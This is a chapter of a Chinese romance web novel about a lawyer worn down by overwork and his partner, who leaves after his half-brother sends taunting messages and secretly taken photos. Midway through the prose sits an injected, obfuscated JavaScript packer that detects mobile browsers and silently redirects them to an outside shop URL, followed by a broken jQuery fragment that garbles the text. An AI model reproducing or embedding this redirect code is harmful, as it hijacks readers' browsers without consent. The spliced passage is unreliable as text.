一切看似步入正轨，但命运的列车总会如期而至，如四季更迭，从不缺席。
慕华年入职寰方的第二个月，公司启动对恒远科技园的收购，他被分到项目组，开始了没日没夜的法律尽职调查。
从恒远成立时的合同到所有知识产权，从资产核实到诉讼记录，他每天挤地铁往返于江城郊区和市中心。公文包越来越沉，家里的文件越堆越高，他睡得越来越晚。
庄迭因为要跨时区和路远舟开会，基本过着荷兰时间。等他要睡觉的时候，慕华年往往还没回家。
他们明明没有异地，见面的时间却少得可怜。
有时慕华年深夜回来，身上带着酒气。他自己也闻不惯，于是养成了一回家就先洗澡的习惯。
那段时间庄迭睡眠很浅，好几次听到浴室的水声响到半夜，仿佛慕华年要把自己从里到外洗个彻底才肯上床。
背后的胸膛是温热的，呼吸带着薄荷牙膏的清香，但庄迭看得到慕华年口袋里的解酒药消耗得飞快，他能吃下的东西也越来越少。
慕华年在极力掩饰自己的不适，因为这份工作来之不易，也因为他觉得欠庄迭的越来越多。
或许成年人的爱情总要直面现实的惨淡，但他希望这一天来得再晚一些。
“慕华年，你累吗？”
那天深夜，慕华年几乎睡着了，听见背对他的庄迭轻声问。
那是九月的秋天，万物凋零的季节，人就像落叶一样摇摇欲坠。
三天前，慕华年在视频里看到父亲桌上的鸡蛋，知道他做了手术，也得知了他心脏的问题。
心脏病是会遗传的，所以第二天他自己也去做了检查，结果不好不坏。
这些他都没告诉庄迭。
“还好，恒远的案子快结束了，国庆前后吧。结束就能休息几天了。”
慕华年的声音闷闷的，一张床上的两个人仿佛隔着银河。
“慕华年，你喜欢这份工作吗？”
谈不上喜不喜欢，但每月近两万的工资让他能负担家里所有开销，所以他至少要把这个项目做完。
他也没有告诉庄迭。
“还行。事情杂，但不难。前段时间我立了功，年终奖应该能多拿点。”
背后的人翻了个身，冰凉的指尖在他背上写字，可他看不懂。
“慕华年，你究竟爱过我吗？”
指尖停了。庄迭没等到回答，慕华年始终背对着他。
庄迭能看见眼前的肩膀在微微发抖。他不知道自己为什么会问出这句话，可就是问出口了。
“慕华年，我明天回荷兰，我想张叔了。”
一片死寂在那个问题后如多米诺骨牌般自动延展。不知过了多久，床的另一边轻了——庄迭起身离开了卧室。
第二天早上，餐桌上照例摆着早餐，门口放着庄迭收拾好的行李箱。
慕华年经过时头都不敢低，径直走进卫生间。
庄迭坐在餐桌前，看着他刷牙、洗脸、刮胡子。今天的慕华年没打理头发，柔软的刘海遮住了额头。
“我等会儿的飞机，不等你了。”
“我送你。”
慕华年从卫生间出来，快速穿好衣服，给主管发了请假消息。对方问理由，他没回。
不需要理由。
出门时，庄迭叫的车已经等在小区门口。
“真不用送了，机场离你公司太远，你去上班吧。”
慕华年不说话，也不听话。他把行李箱放进后备箱，替庄迭拉开车门，自己从另一侧上了车。
也许那一刻，他预感到了什么，但不敢深想，于是忽略了之前所有的伏笔。
这条路很长，江城的交通又差，车辆在立交桥上排成长龙，四周喇叭声此起彼伏。
今天的司机也不知道为什么，始终没开广播或音乐，静默的空气在两人之间凝结。
他们都不知道为什么不说话，明明有很多话要说的。
“你好，还要多久？”
庄迭的飞机一小时后起飞，而他们被卡在高速上，进退两难。
“不好说啊，前面堵死了，估计还得半小时，”司机从后视镜看了眼后座，“急也没用，谁知道今天这么堵。”
平时一个半小时的路，他们走了快三个小时。
庄迭今天特意提前出发，可一切并不如他所愿。
“小伙子，看看能不能改签吧，我觉得你赶不上了。”
又过了二十分钟，江城的雨季开始发挥威力。车窗上的雨点噼里啪啦响个不停，挡风玻璃上的雨刷器兢兢业业却于事无补。
“再等等。”
庄迭握着手机，界面停在退票确认页面。
很快，一条短信进来：“很抱歉，您乘坐的航班因天气原因延误，起飞时间待定。”
“庄迭，”慕华年突然开口，司机和庄迭都看向他。他声音嘶哑，依旧望着窗外，“今天雨好大。”
确实很大，乌云一片接一片压下来，像天破了个窟窿。
这是他们来江城后最大的一场雨，只是这场雨依旧没能阻止那架飞机的离开。
看着庄迭的背影消失在登机口，慕华年蹲了下去。手机跳出微信消息，他满怀期待地点开，发现是庄逸。
“今天这么重要的会你为什么不参加？”
慕华年没回。他怔怔望着落地窗外，那架蓝色飞机划破天际，在淅淅沥沥的雨中，离开了江城。
后来的三年里，慕华年有很多时间回忆。他每每想到自己那天的沉默，他就更恨自己一些。
他明明已经联系好了HR，辞职信就躺在草稿箱里。
他明明买好了两个人国庆去荷兰的机票，打算和庄迭一起回去祭拜张宪。
他明明攒够了一笔不算少的存款，订好了圣诞节去冰岛的行程。
可这一切，都在庄迭离开那晚戛然而止。
“请先添加对方好友。”
庄迭删了他，没有再给他开口的机会。
当那架蓝色飞机的起落架收起时，庄迭按下了删除键。
他原以为那年冬天冲动删掉慕华年会是最后一次。
飞机缓缓爬升，舷窗外的雨渐渐变小，江城的建筑慢慢后退，太阳出来了。
庄迭打开邮箱，里面是庄逸从半年前就开始的骚扰，他一封封删除。
庄迭早就知道庄逸是慕华年的老板了，比慕华年以为的还要早。
“他今天喷的香水是你的？挺俗的，让他换一瓶。这味道总让人想起那些靠身体上位的女人。”
“你觉得这个角度怎么样？他的腰确实细。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111637|195872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“他今天一个人敬了一桌酒，不过他还年轻，都是这样过来的。记得回去让他先洗澡。”
那些庄迭没看到的、慕华年没说的日夜，以另一种方式赤裸裸呈现在他面前。
照片上的慕华年喝到双眼通红，扶桌子的手青筋凸起。
照片上的慕华年在空无一人的办公楼彻夜工作，桌上的咖啡一杯接一杯。
照片上的慕华年强颜欢笑，端着酒杯的手始终低人一等。
这些挑衅的短信，这些偷拍的照片，庄逸最知道怎么往庄迭心上捅刀子。但同时，这些照片也让庄迭知道慕华年喝了多少酒，熬了多少夜。只要这个案子成了，慕华年就成了。
庄迭舍不得，所以他没有告诉慕华年这一切。
那一刻庄迭终于明白了慕华年的沉默，明白了他为什么没办法开口。而他也知道，慕华年做这一切都是为了什么。
这样的日子过了不知道多久，庄逸的话变了味。他不再只是刺激庄迭，话里话外多了些别的情绪。
“你别说，今天见了一面，人是挺帅的。”
“他活确实不错，干净利落，直击痛点。”
“今天有小姑娘问我要他微信，我说他喜欢男的，你猜她们什么表情？”
庄迭知道庄逸接近慕华年不是真喜欢，他只是想和自己争个输赢。
和慕华年在一起之前，庄迭身上是带刺的。庄逸怕他同归于尽，总会收敛些，可现在的他有了软肋。
庄迭不能再装作无所谓了，他在乎。
他一遍遍翻看那些照片，心里只有一个念头：庄逸会毁掉慕华年的，就像当年他害死自己养的那条小狗一样。
也是那一刻，庄迭心中升起无尽的悲哀。原来他六岁时做不到的事情，现在也做不到。二十三岁的他毫无长进，他还是没办法和庄逸，和他背后的庄家较量。
只要他们想，随时可以拿走他的一切。
从那天起，在庄迭的愤怒和心疼里，融进来了一丝动摇。他怕自己拖累了慕华年，他答应过叔叔阿姨，不会影响慕华年。
终于，在某一天，庄迭回复了第一条信息：“你好自为之。”
那天的照片上，慕华年喝得不省人事，双颊绯红，眉头紧锁，庄逸扯着他的衣领，吻在他的下颌。
庄逸很快回复：
“你是怎么追上他的？花言巧语还是死缠烂打？还是像你妈那样爬到他的床上撒欢？”
“你知道吗？慕华年是个不懂拒绝的人。骨子里的懦弱让他只会退让和被动接受。那如果再出现一个人，比你更疯，比你更直接，你说，他会离开你吗？”
“对了，如果慕华年知道我和你的关系，他会不会为了你辞职？他现在是恒远并购的骨干，最多两年我就能让他做总监。庄迭，他为了你活得很辛苦，他原本不必这样的。”
“庄迭，你不只是个错误，你还是个拖累。”
也是那一天，庄迭问出了“慕华年，你究竟爱过我吗”。
这个问题不需要答案，“爱”会让庄迭痛苦，“不爱”也会。
而慕华年回答他的是沉默。
那一刻庄迭得到了验证，他真的爱得很辛苦。
这一次，是庄迭选择了逃避。
于是这一切都结束了——这一切中，差点包括慕华年的命。